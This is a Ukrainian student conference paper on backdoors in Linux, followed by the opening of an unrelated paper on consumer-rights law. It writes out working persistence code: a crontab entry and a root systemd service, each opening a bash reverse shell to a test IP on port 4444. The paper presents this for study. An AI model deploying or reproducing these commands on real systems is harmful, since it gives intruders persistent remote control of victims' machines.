Станіслав Володимирович ГЕЛЬДТ,
курсант групи Ф4-402
Харківського національного університету внутрішніх справ

Науковий керівник:
доцент кафедри кібербезпеки та DATA-технологій факультету № 6
Харківського національного університету внутрішніх справ,
кандидат наук з державного управління, доцент ***Ю. М. Онищенко***

БЕКДОР ЯК МЕТОД ЕКСПЛУАТАЦІЇ СИСТЕМ НА БАЗІ LINUX

Російські хакери продовжують атакувати сайти українських органів влади, а також розсилати мешканцям країни небезпечні листи з метою викрадення особистих даних. Один з основних «інструментів» російських військових хакерів – це використання шкідливого програмного забезпечення [1].

Шкідливе програмне забезпечення (ШПЗ) – це програмне забезпечення, яке за умови запуску може завдати шкоди різними способами, зокрема:

- призвести до блокування пристрою та його непридатності для використання;
- крадіжки, видалення або шифрування даних;
- використовувати ваші пристрої для атак на інші організації;
- отримання облікових даних, які дозволяють отримати доступ до систем або служб, якими ви користуєтесь;
- майнинг криптовалюти;
- використання платних послуг на основі ваших даних (наприклад, телефонні дзвінки преміум-класу).

Одним з найнебезпечніших видів ШПЗ є бекдор. Бекдор (backdoor) – шкідливий програмний код, який встановлюється в систему, щоб надати зловмиснику віддалений доступ до пристрою. Вони зазвичай дозволяють підключитися до комп'ютера з мінімальною автентифікацією або зовсім без такої і виконувати команди в локальній системі [2].

У мережі є популярний фейк про те, що операційна система Linux незламна. Творці вірусів не особливо працюють в цьому напрямку, в зв'язку з тим, що ця операційна система використовується малою кількістю користувачів. Крім цього, користувачі Linux в більшості своїй є більш досвідченими, ніж пересічні власники комп'ютерів і більшість тривіальних методів поширення шкідливих програм з ними просто не спрацюють [3].

Під час написання бекдору використовувався синтаксис команд bash. Синтаксис команд bash – це надмножина синтаксису команд Bourne shell [4].

Розглянемо код програми детальніше. Для того, щоб бекдор надсилав запити щохвилини, ми маємо додати заплановану задачу в crontab. Crontab – це утиліта в операційних системах Unix і Linux, яка дозволяє користувачам виконувати команди або скрипти (групи команд) автоматично в заданий час [5].

```
crontab -l > /tmp/task
echo "* * * * * bash -c 'bash -i >& /dev/tcp/192.168.1.177/4444 0>&1'" >> /tmp/task
crontab /tmp/task
```

В команді вище 192.168.1.177 та 4444 – тестова IP-адреса та порт зловмисника відповідно.

Для того, щоб скрипт вносив дані в crontab після перезавантаження системи, потрібно додати так званого демона. Демон (англ. daemon) – сервіс Unix та Unix-подібних операційних систем, що працює у фоновому режимі без прямого спілкування з користувачем [6]. Розглянемо лише ті строки, які відрізняються від стандартного демона, а саме:

```
echo "ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.177/4444 0>&1'" >> example.service
```

pwd (англ. present working directory) – консольна утиліта в UNIX-подібних системах, яка виводить повний шлях від кореневого каталогу до поточного робочого каталогу [7].

Для ефективної та безперервної роботи програми на базі Linux перемістимо створений демон в директорію 'system' та запустимо службу від імені суперкористувача 'root':

```
sudo mv example.service /etc/systemd/system
sudo systemctl daemon-reload
sudo systemctl enable example
sudo systemctl start example.
```

Людина є найслабшою ланкою в кібербезпеці, тому кожен користувач мережі має дбати про особисту кібергігієну. Зараження шкідливим програмним забезпеченням може призвести до негативних наслідків у виді злитих конфіденціальних даних та відкрити доступ до багатьох інших атак.

Список бібліографічних посилань

1.Кібервійна: російські хакери використовують проти України два основні «інструменти» // Укрінформ : вебсайт. 29.05.2022. URL: https://www.ukrinform.ua/rubric-technology/3478085-kibervijna-

rosijski-hakeri-vikoristovuut-proti-ukraini-dva-osnovni-instrumenti.html (дата звернення: 29.05.2022).

2. Загальні рекомендації щодо зменшення наслідків від впливу шкідливого програмного забезпечення // CERT-UA : вебсайт. 21.07.2020. URL: https://cert.gov.ua/recommendation/2502 (дата звернення: 29.05.2022).

3. Шкідливі програми для linux mac os. Чи є віруси на Android, Mac OS X, Linux і iOS? Немає нічого такого, що неможливо зламати // CrashBox : вебсайт. URL: https://crashbox.ru/solving-problems/vredonosnye-programmy-dlya-linux-mac-os-est-li-virusy-na-android-mac-os-x-linux/ (дата звернення: 29.05.2022).

4. Bash // Wikipedia : вебсайт. 20.04.2022. URL: https://uk.wikipedia.org/wiki/Bash (дата звернення: 29.05.2022).

5. cron // Wikipedia : вебсайт. 22.04.2022. URL: https://uk.wikipedia.org/wiki/Cron (дата звернення: 29.05.2022).

6. Демон (програма) // Wikipedia : вебсайт. 26.05.2022. URL: https://uk.wikipedia.org/wiki/%D0%94%D0%B5%D0%BC%D0%BE%D0%BD_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%B0) (дата звернення: 29.05.2022).

7. pwd // Wikipedia : вебсайт. 07.04.2022. URL: https://ru.wikipedia.org/wiki/Pwd (дата звернення: 29.05.2022).

Одержано 06.06.2022

Костянтин Васильович ГОЛЕМБІВСЬКИЙ,
курсант групи Ф4-401
Харківського національного університету внутрішніх справ

Науковий керівник:
доцент кафедри цивільно-правових дисциплін факультету № 4
Харківського національного університету внутрішніх справ,
кандидат юридичних наук, доцент ***Н. В. Шишка***

ДЕЯКІ ЄВРОІНТЕГРАЦІЙНІ НАПРЯМИ ОНОВЛЕННЯ ЗАКОНОДАВСТВА УКРАЇНИ У СФЕРІ ЗАХИСТУ ПРАВ СПОЖИВАЧІВ

Усвідомлення нових підходів до визначення європейського вектору досліджень і сприйняття категорій та конструкцій сучасного європейського приватного права, через призму принципу верховенства права, пріоритету прав і свобод людини, засад добросовісності та справедливості вимагає чіткого правового закріплення.